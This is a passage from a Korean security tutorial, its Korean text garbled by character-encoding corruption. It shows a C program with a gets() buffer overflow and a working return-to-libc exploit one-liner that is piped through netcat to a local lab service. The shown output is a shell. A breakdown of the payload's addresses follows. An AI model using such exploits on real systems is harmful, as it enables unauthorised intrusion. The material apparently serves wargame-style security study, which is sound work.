°ø°ÝÀ» Çѹø¿¡ ¼º°ø½ÃÄѺ¸ÀÚ. ¡Ý Ãë¾à ÇÁ·Î±×·¥ ====================================================== int main() { char buffer[100]; gets(buffer); printf("´ç½ÅÀÌ ÀÔ·ÂÇÑ ¹®ÀÚ¿­ : %s\n", buffer); } ====================================================== ¡Ý °ø°Ý ======================================================================== [root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA"; printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337 id uid=1000(guest) gid=1000(guest) (°ø°Ý ¼º°ø) ======================================================================== ¡Ý °ø°Ý STRING ºÐ¼® - printf "A"x124 : ¹öÆÛ¿Í SFP¸¦ µ¤À» ¾²·¹±â °ª - printf "\x54\x9e\x04\x42AAAA" : system ÇÔ¼öÀÇ ÁÖ¼Ò + ¾²·¹±â 4¹ÙÀÌÆ®(ret + 8¿¡ ÀÎÀÚ°¡ À§Ä¡ÇÔÀ¸·Î) - printf "\xf3\x73\x12\x42" : "/bin/sh"ÀÇ ÁÖ¼Ò - printf "\n" : ¿£ÅÍ (gets¿¡ ´ëÇÑ ÀÔ·ÂÀÇ ³¡À» ¾Ë¸²) ÀÌÁ¦ °ø°Ý °úÁ¤ÀÌ ³Ê¹«³ªµµ °£´ÜÇØÁ³´Ù. À§ ÁÖ¼Ò ¸ðÀ½À» ¼öø¿¡ Àû¾î³õ°í ´Ù´Ï¸é ¹öÆÛ ¿À¹öÇÃ·Î¿ì °ø°ÝÀº µû³í ´ç»óÀÌ µÈ´Ù. Âü°í·Î À§ ÁÖ¼Ò °ªÀº ·ÎÄà ȯ°æ¿¡¼­µµ ±×´ë·Î Àû¿ëµÇ¸ç, ¸¸¾à À§ ÁÖ¼Ò °ª°ú ½ÇÁ¦ °ªÀÌ ´Ù¸¥ »óȲÀ̶ó°í ÇÏ´õ¶óµµ ·ÎÄÿ¡¼­ Á÷Á¢ ÁÖ¼Ò¸¦ ±¸ÇÏ¸é µÇ´Ï °ÆÁ¤ÇÒ ÇÊ¿ä°¡ ¾ø´Ù. À̷νá ÃÑ 7°¡Áö ¹æ¹ýÀ¸·Î ¸®¸ðÆ® ¿À¹öÇÃ·Î¿ì °ø°ÝÀ» ½ÃµµÇØ º¸¾Ò´Ù. ÀÌ °ÍÀ¸·Î ¹®¼­¸¦ ¸¶Ä¡µµ·Ï ÇÏ°í, Á¶¸¸°£ Xinetd¿¡ ¿¬°áµÇÁö ¾Ê°í, µ¶¸³ÀûÀ¸·Î ±¸ÇöµÈ ³×Æ®¿öÅ© ÇÁ·Î±×·¥¿¡ ´ëÇÑ °ø°Ý Å×½ºÆ®¸¦ À̹ø¿¡ ÇÑ °Í°ú °°Àº ¼ø¼­·Î ¼³¸íÇÏ¿© ¿Ã¸®µµ·Ï ÇÏ°Ú´Ù.